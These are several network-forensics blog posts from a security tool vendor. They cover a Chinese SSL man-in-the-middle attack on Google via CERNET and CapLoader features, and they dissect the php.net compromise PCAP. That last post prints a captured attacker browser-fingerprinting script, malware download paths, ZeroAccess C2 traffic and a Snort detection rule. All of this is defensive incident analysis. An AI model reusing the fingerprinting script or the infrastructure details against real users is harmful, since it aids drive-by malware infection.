Some may think it's odd that China can't forge a properly signed certificate for their SSL MITM attack. However, they've used very similar self signed certificates also in their previous MITM attacks against GitHub and Google. The purpose of GFW (a.k.a. “Golden Shield”) is to censor the Internet, so the primary goal with this MITM attack isn't to covertly spy on Chinese Yahoo searches. Regardless if the end users notice the MITM or not, a self signed X.509 cert is enough in order to see what they are searching for and “kill” their connection to Yahoo when queries like “Umbrella Revolution” and “Tiananmen Square Protests” are observed.

Posted by Erik Hjelmvik on Wednesday, 01 October 2014 21:55:00 (UTC/GMT)


More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Analysis of Chinese MITM on Google

The Chinese are running a MITM attack on SSL encrypted traffic between Chinese universities and Google. We've performed technical analysis of the attack, on request from, and can confirm that it is a real SSL MITM against and that it is being performed from within China.

We were contacted by yesterday (September 3) with a request to analyze two packet captures from suspected MITM-attacks before they finalized their blog post. The conclusions from our analysis is now published as part of's great blog post titled “Authorities launch man-in-the-middle attack on Google”.

In their blog post write:

From August 28, 2014 reports appeared on Weibo and Google Plus that users in China trying to access and via CERNET, the country’s education network, were receiving warning messages about invalid SSL certificates. The evidence, which we include later in this post, indicates that this was caused by a man-in-the-middle attack.

While the authorities have been blocking access to most things Google since June 4th, they have kept their hands off of CERNET, China’s nationwide education and research network. However, in the lead up to the new school year, the Chinese authorities launched a man-in-the-middle (MITM) attack against Google.

Our network forensic analysis was performed by investigating the following to packet capture files:

Capture LocationClient NetnameCapture DateFilenameMD5
Peking UniversityPKU6-CERNET2Aug 30, 7a8a7656cd670a93
Chongqing UniversityCQU6-CERNET2Sep 1, 2014google_fake.pcapng3bf943ea453f9afa 5c06b9c126d79557

Client and Server IP adresses

The analyzed capture files contain pure IPv6 traffic (CERNET is a IPv6 network) which made the analysis a bit different then usual. We do not disclose the client IP addresses for privacy reasons, but they both seem legit; one from Peking University (netname PKU6-CERNET2) and the other from Chongqing University (CQU6-CERNET2). Both IP addresses belong to AS23910, named "China Next Generation Internet CERNET2".

PekingUniversityPic6 by galaygobi
Peking University entrance, by galaygobi (Creative Commons Attribution 2.0)

CQUAQUGATE3 by Brooktse
Chongqing University gate, by Brooktse (Creative Commons Attribution-Share Alike 3.0)

The IP addresses received for were in both cases also legit, so the MITM wasn't carried out through DNS spoofing. The Peking University client connected to 2607:f8b0:4007:804::1013 (GOOGLE-IPV6 in United States) and the connection from Chongqing University went to 2404:6800:4005:805::1010 (GOOGLE_IPV6_AP-20080930 in Australia).

Time-To-Live (TTL) Analysis

The Time-To-Live (TTL) values received in the IP packets from were in both cases 248 or 249 (note: TTL is actually called ”Hop Limit” in IPv6 nomenclature, but we prefer to use the well established term ”TTL” anyway). The highest possible TTL value is 255, this means that the received packets haven't made more than 6 or 7 router hops before ending up at the client. However, the expected number of router hops between a server on GOOGLE-IPV6 and the client at Peking University is around 14. The low number of router hops is is a clear indication of an IP MITM taking place.

CapLoader 1.2, Hosts tab
Image: CapLoader with both capture files loaded, showing TTL values

Here is an IPv6 traceroute from AS25795 in Los Angeles towards the IP address at Peking University (generated with ARP Networks' tool):

#traceroute -6 2001:da8:201:[REDACTED]
 1  2607:f2f8:1600::1 (2607:f2f8:1600::1) 1.636 ms 1.573 ms 1.557 ms
 2  2001:504:13::1a (2001:504:13::1a) 40.381 ms 40.481 ms 40.565 ms
 3  * * *
 4  2001:252:0:302::1 (2001:252:0:302::1) 148.409 ms 148.501 ms 148.595 ms
 5  * * *
 6  2001:252:0:1::1 (2001:252:0:1::1) 148.273 ms 147.620 ms 147.596 ms
 7 (2001:da8:1:1b::2) 147.574 ms 147.619 ms 147.420 ms
 8  2001:da8:1:50d::2 (2001:da8:1:50d::2) 148.582 ms 148.670 ms 148.979 ms
 9 (2001:da8:ac:ffff::2) 147.963 ms 147.956 ms 147.988 ms
10  2001:da8:201:[REDACTED] 147.964 ms 148.035 ms 147.895 ms
11  2001:da8:201:[REDACTED] 147.832 ms 147.881 ms 147.836 ms
12  2001:da8:201:[REDACTED] 147.809 ms 147.707 ms 147.899 ms

As can be seen in the traceroute above, seven hops before the client we find the 2001:252::/32 network, which is called “CNGI International Gateway Network (CNGIIGN)”. This network is actually part of CERNET, but on AS23911, which is the network that connects CERNET with its external peers. A reasonable assumption is therefore that the MITM is carried out on the 2001:252::/32 network, or where AS23910 (2001:da8:1::2) connects to AS23911 (2001:252:0:1::1). This means that the MITM attack is being conducted from within China.

Response Time Analysis

The round-trip time between the client and server can be estimated by measuring the time from when the client sends it initial TCP SYN packet to when it receives a TCP SYN+ACK from the server. The expected round-trip time for connecting from CERNET to a Google server overseas would be around 150ms or more. However, in the captures we've analyzed the TCP SYN+ACK package was received in just 8ms (Peking) and 52ms (Chongqing) respectively. Again, this is a clear indication of an IP MITM taking place, since Google cannot possibly send a response from the US to CERNET within 8ms regardless of how fast they are. The fast response times also indicate that the machine performing the MITM is located fairly close to the network at Peking University.

Even though the machine performing the MITM was very quick at performing the TCP tree-way handshake we noticed that the application layer communication was terribly slow. The specification for the TLS handshake (RFC 2246) defines that a ClientHello message should be responded to with a ServerHello. Google typically send their ServerHello response almost instantly, i.e. the response is received after one round-trip time (150ms in this case). However, in the analyzed captures we noticed ServerHello response times of around 500ms.

X.509 Certificate Analysis

The X.509 certificates were extracted from the two PCAP files to .cer files using NetworkMiner. We noticed that both users received identical certificates, which were both self signed for “”. The fact that the MITM used a self signed certificate makes the attack easily detectable even for the non-technical user, since the web browser will typically display a warning about the site not being trusted. Additionally the X.509 certificate was created for ”” rather than ”*”. This is an obvious miss from the MITM'ers side since they were attempting to MITM traffic to ”” but not to ””.

NetworkMiner 1.6.1, Files tab
Image: NetworkMiner showing list of X.509 certificates extracted from the two PCAP files

Certificate SHA1 fingerprint: f6beadb9bc02e0a152d71c318739cdecfc1c085d
Certificate MD5 fingerprint: 66:D5:D5:6A:E9:28:51:7C:03:53:C5:E1:33:14:A8:3B

A copy of the fake certificate is available on Google drive thanks to


All evidence indicates that a MITM attack is being conducted against traffic between China’s nationwide education and research network CERNET and It looks as if the MITM is carried out on a network belonging to AS23911, which is the outer part of CERNET that peers with all external networks. This network is located in China, so we can conclude that the MITM was being done within the country.

It's difficult to say exactly how the MITM attack was carried out, but we can dismiss DNS spoofing as the used method. The evidence we've observed instead indicate that the MITM attack is performed either by performing IP hijacking or by simply reconfiguring a router to forward the HTTPS traffic to a transparent SSL proxy. An alternative to changing the router config would also be to add an in-line device that redirects the desired traffic to the SSL proxy. However, regardless of how they did it the attacker would be able to decrypt and inspect the traffic going to Google.

We can also conclude that the method used to perform the MITM attack was similar to the Chinese MITM on GitHub, but not identical.

Posted by Erik Hjelmvik on Thursday, 04 September 2014 23:55:00 (UTC/GMT)

Tags: #MITM #GFW #PCAP #PCAPNG #Google #SSL #TLS #China

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Keyword Search in PCAP files

Sherlock Holmes and Magnifying Glass via Inside Croydon A new function in the free version of CapLoader 1.2 is the "Find Keyword" feature. This keyword search functionality makes it possible to seek large capture files for a string or byte pattern super fast!

You might say, so what? PCAP string search can already be done with tools like tcpflow, ngrep and even Wireshark; what's the benefit of adding yet another tool to this list? One benefit is that CapLoader doesn't just give you the packet or content that matched the keyword, it will instead extract the whole TCP or UDP flow that contained the match. CapLoader also supports many different encodings, which is demonstrated in this blog post.

Here are a few quick wins with CapLoader's keyword search feature:

  • Track User-Agent - Search for a specific user agent string to extract all the HTTP traffic from a particular browser or malware.
  • Track Domain Name - Search for a particular domain name to get all DNS lookups as well as web traffic relating to that domain (including HTTP "referer" field matches).
  • Extract Messages - Search for a keyword in e-mail or chat traffic to get the whole e-mail or conversation, not just the single packet that matched.
  • Extract Files - Search for a unique string or byte sequence in a file (such as a piece of malware) to enable extraction of the complete file transfer.

EXAMPLE: DigitalCorpora M57

As an example, let's search the digital corpora file net-2009-12-06-11:59.pcap (149 MB) for the keyword "immortal". Follow these steps in order to veify our analysis using the free edition of CapLoader.

  1. Start CapLoader and select File -> Open URL, enter:
  2. Edit -> Find Keyword (or Ctrl+F), enter "immortal" CapLoader Find Keyword Form
  3. Click the "Find and Select All Matching Flows" button
  4. One TCP flow is now selected (Flow_ID 5469, -> CapLoader with one selected flow
  5. Right click the selected flow (ID 5469) and select "Flow Transcript"
CapLoader Flow Transcript of SMTP email attachment

CapLoader transcript of SMTP email flow

Looks as if an email has been sent with an attachment named "microscope1.jpg". However, the string "immortal" cannot be seen anywhere in the transcript view. The match that CapLoader found was actually in the contents of the attachment, which has been base64 encoded in the SMTP transfer in accordance with RFC 2045 (MIME).

The email attachment can easily be extracted from the PCAP file using NetworkMiner. However, to keep things transparent, let's just do a simple manual verification of the matched data. The first three lines of the email attachment are:

Decoding this with base64 gives us:
0000000: ffd8 ffe0 0010 4a46 4946 0001 0101 0090 ......JFIF......
0000010: 0090 0000 ffdb 0043 0001 0101 0101 0101 .......C........
0000020: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0000030: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0000040: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0000050: 0101 0101 0101 0101 01ff db00 4301 0101 ............C...
0000060: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0000070: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0000080: 7061 7373 776f 7264 3d69 6d6d 6f72 7461 password=immorta
0000090: 6c01 0101 0101 0101 0101 0101 0101 ffc0 l...............

Tools like ngrep, tcpflow and Wireshark won't find any match for the string "immortal" since they don't support searching in base64 encoded data. CapLoader, on the other hand, supports lots of encodings.

Supported Text Encodings

CapLoader currently supports fast searching of text strings in any of the following encodings:

  • Base64 (used in email attachments and HTTP POST's)
  • DNS label encoding (RFC 1035)
  • HTML
  • Quoted Printable (used in body of email messages)
  • Unicode
  • URL encoding
  • UTF8

CapLoader also supports several local character sets, including the following code pages:

  • 437 MS-DOS Latin US
  • 850 MS-DOS Latin 1
  • 932 Japanese
  • 936 Simplified Chinese
  • 949 Korean
  • 1251 Windows Cyrillic (Slavic)
  • 1256 Windows Arabic

Having all these encodings also makes it possible to search network traffic for words like хакер, القراصنة, ハッカー, 黑客 or 해커.

The Art of War by Sun Tzu

Getting CapLoader

CapLoader is a commercial tool that also comes in a free trial edition. The search feature is available in both versions, so feel free to download CapLoader and try it your self!

CapLoader is available from the following URL:

Posted by Erik Hjelmvik on Wednesday, 02 April 2014 13:15:00 (UTC/GMT)

Tags: #search #find #keyword #flow #stream #PCAP #SMTP #transcript #free #network

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Carving Network Packets from Memory Dump Files

Hattori Hanzo by Stefan Ledwina A new feature in the recently released CapLoader 1.2 is the ability to carve network packets from any file and save them in the PCAP-NG format. This fusion between memory forensics and network forensics makes it possible to extract sent and received IP frames, with complete payload, from RAM dumps as well as from raw disk images.

CapLoader will basically carve any TCP or UDP packet that is preceded by an IP frame (both IPv4 and IPv6 are supported), and believe me; there are quite a few such packets in a normal memory image!

We've made the packet carver feature available in the free version of CapLoader, so feel free to give it a try!

The packet carving feature makes it possible do much better analysis of network traffic in memory dumps compared to Volatility's connscan2. With Volatility you basically get the IP addresses and port numbers that communicated, but with CapLoader's packet carver you also get the contents of the communication!

Modern depiction of ninja with ninjato (ninja sword), Edo wonderland, Japan

EXAMPLE: Honeynet Banking Troubles Image

I loaded the publicly available “Banking Troubles” memory image from the Honeynet Project into CapLoader to exemplify the packet carver's usefulness in a digital forensics / incident response (DFIR) scenario.

CapLoader 1.2 Carving Packets from HoneyNet Memory Image
CapLoader 1.2 Carving Packets from HoneyNet Memory Image

CapLoader 1.2 Finished Carving Packets from HoneyNet Memory Image
22 TCP/UDP Flows were carved from the memory image by CapLoader

Let's look at the network traffic information that was extracted in the Honeynet Project's own solution for the Banking Troubles Challenge:

python volatility connscan2 -f images/hn_forensics.vmem"
Local Address Remote Address Pid
------------------------- ------------------------- ------ 888 1244 1244 4 0 888 888 888 888 1752 880 880


"This connection [marked in bold above] was opened by AcroRd32.exe (PID 1752) and this represents an additional clue that an Adobe Reader exploit was used in order to download and execute a malware sample."

The solution doesn't provide any evidence regarding what Acrobat Reader actually used the TCP connection for. Additionally, none of the three finalists managed to prove what was sent over this connection.

To view the payload of this TCP connection in CapLoader, I simply right-clicked the corresponding row and selected “Flow Transcript”.

Transcript of TCP flow contents in CapLoader
Transcript of TCP flow contents (much like Wireshark's Follow-TCP-Stream)

We can see that the following was sent from to

GET /load.php?a=a&st=Internet%20Explorer%206.0&e=2 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Connection: Keep-Alive

Notice that the HTTP GET request took place at the end of the TCP session. Odd? Well, CapLoader doesn't know the timestamp of carved packets, so they are simply ordered as they were discovered in the dump file. The timestamp generated for each carved packet represents where in the image/dump the packet was found. Or more precise: the number of microseconds since EPOCH (1970-01-01 00:00:00) is the offset (in bytes) from where the packet was carved.

Hence, we know that the HTTP GET request can be found between offset 37068800 and 37507072 in the image (a 428 kB region). To be more exact we can open the generated PcapNG file with Wireshark or Tshark to get the timestamp and length of the actual HTTP GET request packet.

tshark.exe -r Bob.vmem.pcapng" -R http.request -T fields -e frame.time_epoch -e frame.len -e http.request.uri
31.900664000 175 *
37.457920000 175 *
37.462016000 286 /load.php?a=a&st=Internet%20Explorer%206.0&e=2
37.509120000 175 *
37.519360000 245 /~produkt/983745213424/34650798253
37.552128000 266 /root.sxml
37.570560000 265 /l3fw.xml
37.591040000 274 /WANCommonIFC1.xml
37.607424000 271 /WANIPConn1.xml

Now, lets verify that the raw packet data is actually 37462016 bytes into the memory dump.

xxd -s 37462016 -l 286 Bob.vmem
23ba000: 0021 9101 b248 000c 2920 d71e 0800 4500 .!...H..) ....E.
23ba010: 0110 3113 4000 8006 8e1a c0a8 00b0 d496 ..1.@...........
23ba020: a4cb 049a 0050 7799 0550 f33b 7886 5018 .....Pw..P.;x.P.
23ba030: faf0 227e 0000 4745 5420 2f6c 6f61 642e .."~..GET /load.
23ba040: 7068 703f 613d 6126 7374 3d49 6e74 6572 php?a=a&st=Inter
23ba050: 6e65 7425 3230 4578 706c 6f72 6572 2532 net%20Explorer%2
23ba060: 3036 2e30 2665 3d32 2048 5454 502f 312e 06.0&e=2 HTTP/1.
23ba070: 310d 0a41 6363 6570 743a 202a 2f2a 0d0a 1..Accept: */*..
23ba080: 4163 6365 7074 2d45 6e63 6f64 696e 673a Accept-Encoding:
23ba090: 2067 7a69 702c 2064 6566 6c61 7465 0d0a gzip, deflate..
23ba0a0: 5573 6572 2d41 6765 6e74 3a20 4d6f 7a69 User-Agent: Mozi
23ba0b0: 6c6c 612f 342e 3020 2863 6f6d 7061 7469 lla/4.0 (compati
23ba0c0: 626c 653b 204d 5349 4520 362e 303b 2057 ble; MSIE 6.0; W
23ba0d0: 696e 646f 7773 204e 5420 352e 313b 2053 indows NT 5.1; S
23ba0e0: 5631 290d 0a48 6f73 743a 2073 6561 7263 V1)..Host: searc
23ba0f0: 682d 6e65 7477 6f72 6b2d 706c 7573 2e63 h-network-plus.c
23ba100: 6f6d 0d0a 436f 6e6e 6563 7469 6f6e 3a20 om..Connection:
23ba110: 4b65 6570 2d41 6c69 7665 0d0a 0d0a Keep-Alive....
Yep, that's our HTTP GET packet preceded by an Ethernet, IP and TCP header.

Ninja Training by Danny Choo

Give it a Try!

Wanna verify the packet carving functionality? Well, that's easy! Just follow these three steps:

  1. Download a sample memory image (thanks for the great resource Volatility Team!)
    Download the free RAM dumper DumpIt and dump your own computer's memory.
    Locate an existing file that already contains parts of your RAM, such as pagefile.sys or hiberfil.sys

  2. Download the free version of CapLoader and open the memory dump.

  3. Select destination for the generated PcapNG file with carved packets and hit the “Carve” button!

Illangam fighting scene with swords and shields at korathota angampora tradition

Carving Packets from Proprietary and odd Capture Formats

CapLoader can parse PCAP and PcapNG files, which are the two most widely used packet capture formats. However, the packet carving features makes it possible to extract packets from pretty much any capture format, including proprietary ones. The drawback is that timestamp information will be lost.

We have successfully verified that CapLaoder can carve packets from the following network packet capture / network trace file formats:

  • .ETL files created with netsh or logman. These Event Trace Log files can be created without having WinPcap installed.
  • .CAP files created with Microsoft Network Monitor
  • .ENC files (NA Sniffer) from IBM ISS products like the Proventia IPS (as well as Robert Graham's old BlackICE)
  • .ERF files from Endace probes

Posted by Erik Hjelmvik on Monday, 17 March 2014 10:05:00 (UTC/GMT)

Tags: #Netresec #PCAP #memory #dump #forensics #DFIR #CapLoader #PcapNG

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Search and Carve Packets with CapLoader 1.2

CapLoader Logo CapLoader version 1.2 was released today, with lots of new powerful features.

The most significant additions in CapLaoder 1.2 are:

  • Network packet carving, i.e. the ability to carve full content network packets from RAM dumps, disk images etc.
  • Flows can be hidden/filtered in the user interface.
  • Full content keyword search in capture files.
  • Flow can be selected based on TCP flags.
  • Better handling of broken and corrupt capture files.
What's really cool is that all these new features are available in the free version of CapLoader!

Nikon Microscope by windy_

In addition to these updates, customers using the commercial edition of CapLoader also get an updated protocol database. This update improves the Port Independent Protocol Identification (PIPI) feature in CapLoader with more protocols and better accuracy. Not only does this help analysts detect services like SSH, FTP and HTTP running on non-standard ports, but the protocol database also includes signatures for malware and APT C2 traffic like ZeroAccess, Zeus, Gh0st RAT and Poison Ivy RAT.

An update for CapLoader to version 1.2 is available for previous customers via our customer portal.

The free trial version of CapLoader can be downloaded from

CapLoader 1.2 with Transcript window
CapLoader 1.2 with suspect.pcap (from DFRWS 2008) loaded and Transcript window open

Posted by Erik Hjelmvik on Wednesday, 12 March 2014 14:45:00 (UTC/GMT)

Tags: #CapLoader #free #protocol #ZeroAccess #search #pcap

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Command-line Forensics of hacked

Update: October 29

@StopMalvertisin recently published a great blog post that covered the five binaries that were served with help of the compromise. We've therefore updated this blog post with a few of their findings in order to give a more complete picture of the events.

LSI and Monitor playing KALISCOP by DanCentury

The good people from Barracuda Labs were kind enough to share a PCAP file from the compromize on their blog.

I decided to have a closer look at that PCAP file to see what can be extracted from it. Since the PCAP contains Windows malware I played safe and did all the analysis on a Linux machine with no Internet connectivity.

For no particluar reason I also decided to do all the analysis without any GUI tools. Old skool ;)


~/Desktop$ capinfos barracuda.pcap
File name:           barracuda.pcap
File type:           Wireshark/tcpdump/... - libpcap
File encapsulation:  Ethernet
Number of packets:   1403
File size:           1256656 bytes
Data size:           1234184 bytes
Capture duration:    125 seconds
Start time:          Tue Oct 22 19:27:36 2013
End time:            Tue Oct 22 19:29:41 2013
Data byte rate:      9897.42 bytes/sec
Data bit rate:       79179.33 bits/sec
Average packet size: 879.67 bytes
Average packet rate: 11.25 packets/sec

We can see that the PCAP is from October 22, i.e. the traffic was captured at least one day before Google Safe Browsing started alerting users that was hosting malware. Barracuda Labs made the PCAP file public on October 24.

A good start is to look at IP's and hostnames based on DNS traffic. Tshark can give a nice hosts-file formatted output with the following command:

~/Desktop$ tshark -r barracuda.pcap -q -z hosts
# TShark hosts output
# Host data gathered from barracuda.pcap

Several of these hostnames look suspicious; two of them look as if they have been produced by a domain generation algorithm (DGA). However, before proceeding with analyzing these domains I'll also run the PCAP through httpry in order to generate a web-proxy-like log.

~/Desktop/php-net$ httpry -r ../barracuda.pcap 'dst port 80'
httpry version 0.1.6 -- HTTP logging and information retrieval tool
Copyright (c) 2005-2011 Jason Bittel <> > GET / > GET / > GET / > GET / > GET / > GET / > GET / > GET / > GET / > GET /stat.htm > GET /PluginDetect_All.js > POST /stat.htm > GET /nid?1 > GET /?695e6cca27beb62ddb0a8ea707e4ffb8=43 > GET /b0047396f70a98831ac1e3b25c324328/8fdc5f9653bb42a310b96f5fb203815b.swf > GET /b0047396f70a98831ac1e3b25c324328/b7fc797c851c250e92de05cbafe98609 > GET /?9de26ff3b66ba82b35e31bf4ea975dfe > GET /?90f5b9a1fbcb2e4a879001a28d7940b4 > GET /?8eec6c596bb3e684092b9ea8970d7eae > GET /?35523bb81eca604f9ebd1748879f3fc1 > GET /?b28b06f01e219d58efba9fe0d1fe1bb3 > GET /app/geoip.js > GET / > GET /?52d4e644e9cda518824293e7a4cdb7a1 > POST / > GET /
26 http packets parsed

We can see that the first HTTP request outside of was a GET reguest for Let's extract this file (and all the other ones) to disk with NetworkMinerCLI, i.e. the command line version of NetworkMiner Professional. NetworkMinerCLI works just fine in Linux (if you have installed Mono) and it's perfect when you wanna automize content extraction from PCAP files, since you can script it to extract metadata and files to disk from the captured packets.

~/Desktop$ mkdir php-net
~/Desktop$ NetworkMinerCLI.exe -r barracuda.pcap -w php-net

NetworkMinerCLI has now produced multiple CSV files that we can grep in (or load into Excel / OpenOffice). The “AssembledFiles” directory contains the files that have been extracted from the packets.

~/Desktop/php-net$ ls

~/Desktop/php-net$ cat AssembledFiles/\ -\ TCP\ 80/stat.htm

<script type="text/javascript" src="PluginDetect_All.js"></script>
var os=0;
var os=PluginDetect.OS;
var jav=0;
//var javaversion=PluginDetect.getVersion('Java','./getjavainfo.jar');
var javaversion=0;
var acrobat=new Object();
var pdfi=0;
var adobe=PluginDetect.getVersion("AdobeReader");
var resoluz=0;
document.write('<form action="stat.htm" method="post"><input type="hidden" name="id" value="" />');
var id=resoluz+'|'+jav+'|'+pdfi;
var frm=document.forms[0];;

The bold part of this java script does a HTTP POST back to stat.htm with a parameter named id and a value in the following format: "ScreenResolutionWidth|Java(1/0)|AdobeReader(1/0)"

The Parameters.csv contains all text based variables and parameters that have been extracted from the PCAP file. I should therefore be able to find the contents of this HTTP POST inside that CSV file.

~/Desktop/php-net$ grep POST barracuda.pcap.Parameters.csv,TCP 1040,,TCP 80,147,10/22/2013 7:27:54 PM,HTTP POST,id,800|1|1

Yep, the following data was posted back to stat.htm (which we expect is under the attacker's control):

Width = 800px
Java = 1 (true)
AdobeReader = 1 (true)

The first DGA-like URL in the list above was Let's proceed by grepping for the DGA hostname and its IP.

~/Desktop/php-net$ grep zivvgmyrwy barracuda.pcap.Hosts.csv | cut -d, -f 1,3,5,",DE Germany

~/Desktop/php-net$ grep barracuda.pcap.FileInfos.csv | cut -d, -f 1,9,10,50599e6c124493994541489e00e816e3,3C68746D<htm,8943d7a67139892a929e65c0f69a5ced,3C21444F<!DO,97017ee966626d55d76598826217801f,3C68746D<htm,dc0dbf82e756fe110c5fbdd771fe67f5,4D5A9000MZ..,406d6001e16e76622d85a92ae3453588,4D5A9000MZ..,d41d8cd98f00b204e9800998ecf8427e,,c73134f67fd261dedbc1b685b49d1fa4,4D5A9000MZ..,18f4d13f7670866f96822e4683137dd6,4D5A9000MZ..,78a5f0bc44fa387310d6571ed752e217,4D5A9000MZ..

These are the MD5-sums of the files that have been downloaded from that suspicious domain. The last column (column 10 in the original CSV file) is the file's first four bytes in Hex, followed by an ASCII representation of the same four bytes. Hence, files starting with 4D5A (hex for “MZ”) are typically Windows PE32 binaries. We can see that five PE32 files have been downloaded from

All the listed files have also been carved to disk by NetworkMinerCLI. We can therefore have a quick look at the extracted files to see if any of them uses the IsDebuggerPresent function, which is a common anti-debugging technique used by malware to avoid sanboxes and malware analysts.

~/Desktop/php-net$ fgrep -R IsDebuggerPresent AssembledFiles
Binary file AssembledFiles/ - TCP 80/index.html.A62ECF91.html matches
Binary file AssembledFiles/ - TCP 80/index.html.63366393.html matches
Binary file AssembledFiles/ - TCP 80/index.html.6FA4D5CC.html matches
Binary file AssembledFiles/ - TCP 80/index.html.51620EC7.html matches

The other odd looking domain name was “” that seems to be pointing to a whole array of IP addresses. Let's see what we can find out about this domain:

~/Desktop/php-net$ grep uocqiumsciscqaiu barracuda.pcap.Hosts.csv | cut -d, -f 1,3,4,,RU Russian Federation

It turns out that the PCAP file contains communication to one of the IP addresses associated with the “” domain. The server is located in Russia (according to MaxMind). Going back to our previous httpry log we can see that a HTTP POST was made to this domain. Let's see what content that was pushed out to that Russian server!

~/Desktop/php-net$ tshark -r ../barracuda.pcap -R "ip.addr eq and http.request" -x

862 67.365496 -> HTTP POST / HTTP/1.1

0000 0a b4 df 27 c2 b0 00 20 18 eb ca 28 08 00 45 00 ...'... ...(..E.
0010 01 05 02 96 40 00 80 06 68 d9 c0 a8 28 0a 5f 6a ....@...h...(._j
0020 46 67 04 2f 00 50 d3 80 46 2f e3 c6 b5 b5 50 18 Fg./.P..F/....P.
0030 ff ff b0 15 00 00 50 4f 53 54 20 2f 20 48 54 54 ......POST / HTT
0040 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 75 6f 63 P/1.1..Host: uoc
0050 71 69 75 6d 73 63 69 73 63 71 61 69 75 2e 6f 72 qiumsciscqaiu.or
0060 67 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 g..Content-Lengt
0070 68 3a 20 31 32 38 0d 0a 43 61 63 68 65 2d 43 6f h: 128..Cache-Co
0080 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d ntrol: no-cache.
0090 0a 0d 0a 1c 61 37 c4 95 55 9a a0 1c 96 5a 0e e7 ....a7..U....Z..
00a0 f7 16 65 b2 00 9a 93 dc 21 96 e8 70 84 e8 75 6a ..e.....!..p..uj
00b0 04 e2 21 fb f1 2f 96 ce 4e 6c a8 f8 54 ac dd aa ..!../..Nl..T...
00c0 d5 fa c1 61 b5 ec 18 68 38 6e 3b ac 8e 86 a5 d0 ...a...h8n;.....
00d0 f2 62 73 6e ee 37 bc 40 3e 3d 22 0b fe 7c ca 9c .bsn.7.@>="..|..
00e0 49 39 2b d2 cb a2 ec 02 70 2b 58 de 24 75 61 21 I9+.....p+X.$ua!
00f0 85 c9 91 c1 7a ee 0b f7 fd 6c ef e6 c2 6e cb a9 ....z....l...n..
0100 fb ac 65 d8 78 87 fa e2 7f 05 13 a6 73 3d 27 b1 ..e.x.......s='.
0110 db c2 a7 ...

That looks quite odd. Most likely C2 communication or some form of encrypted channel for information leakage.
Update: Our friends from confirm that this is C2 traffic from the downloaded Trojan with MD5 c73134f67fd261dedbc1b685b49d1fa4.

ZeroAccess Trojan

Running the PCAP through Snort will generate multiple alerts indicating that UDP traffic to port 53 might be C2 traffic from the ZeroAccess trojan.

10/22-20:28:38.363586 [**] [1:2015474:2] ET TROJAN ZeroAccess udp traffic detected [**] [Classification: A Network Trojan was Detected] [Priority: 1] {UDP} ->

There will also be another alert indicating ZeroAccess traffic, but this time for UDP port 16471:

10/22-20:28:57.501645 [**] [1:2015482:6] ET TROJAN ZeroAccess Outbound udp traffic detected [**] [Classification: A Network Trojan was Detected] [Priority: 1] {UDP} ->

But when looking closer at the traffic for that alert we only see one outgoing packet, but no response. That wasn't very interesting. However, the rule that was triggered in this particular alert contained a threshold that suppressed alerts for ZeroAccess traffic to other IP addresses. Here is the syntax for the Snort rule:

alert udp $HOME_NET any -> $EXTERNAL_NET any (msg:"ET TROJAN ZeroAccess Outbound udp traffic detected"; content:"|28 94 8d ab c9 c0 d1 99|"; offset:4; depth:8; dsize:16; threshold: type both, track by_src, count 10, seconds 600; classtype:trojan-activity; sid:2015482; rev:4;)

We can use the content signature to search for other similar packets by using tshark like this:

~/Desktop/php-net$ tshark -R "udp and contains 28:94:8d:ab:c9:c0:d1:99" -r ../barracuda.pcap -T fields -e ip.dst -e udp.port | sort -u 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471

Wow, the ZeroAccess trojan's P2P C2 traffic sure is noisy, the threshold was probably there for a reason! But let's see which of these servers that actually reply to the ZeroAccess traffic:

~/Desktop/php-net$ tshark -r ../barracuda.pcap -R "udp.srcport eq 16471" -T fields -e ip.src > ZeroAccessHosts

~/Desktop/php-net$ fgrep -f ZeroAccessHosts 5f810408ddbbd6d349b4be4766f41a37.pcap.Hosts.csv | cut -d, -f 1,4,IN India,NL Netherlands,UA Ukraine,US United States,US United States,US United States,US United States,PL Poland,LT Lithuania,CA Canada,TT Trinidad and Tobago,BR Brazil

Sweet, those IP's are most likely infected with ZeroAccess as well.

Bonus Find

Barracuda Lab's public IP address for their malware analysis machine seems to be

~/Desktop/php-net$ cut -d, -f1,3,4 barracuda.pcap.Credentials.csv | head -2
ClientIP,Protocol,Username,HTTP Cookie,COUNTRY=USA%2C64.235.155.80


I've created a timeline of the events in the PCAP file provided by Barracuda Labs. This timeline is frame centric, i.e. frame number is used as the first identifier instead of a timestamp. This helps when you wanna find a particular event in the PCAP.

Frame Data Comment
15 Set-Cookie: COUNTRY=USA%2C64.235.155.80 The external IP of Barracuda's malware lab is stored as a cookie.
139 GET / The first entry of infection at
147 POST Width = 800px, Java = True, AcrobatReader = True
174 GET /b0047396f70a98831ac1e3b25c324328/ b7fc797c851c250e92de05cbafe98609 Triggers CVE-2013-2551 / MS13-037
213 Ransomware Zbot downloaded from File details on VirusTotal or Anubis. MD5: dc0dbf82e756fe110c5fbdd771fe67f5
299 Ransomware Zbot downloaded from File details on VirusTotal or Anubis. MD5: 406d6001e16e76622d85a92ae3453588
424 Trojan downloaded from File details on VirusTotal or Anubis. MD5: c73134f67fd261dedbc1b685b49d1fa4
534 ZeroAccess Trojan downloaded from File details on VirusTotal or Anubis. MD5: 18f4d13f7670866f96822e4683137dd6
728 GET /app/geoip.js HTTP/1.0 MaxMind query by ZeroAccess Trojan downloaded in frame 534
751 GET Connectivity test by Trojan downloaded in frame 424
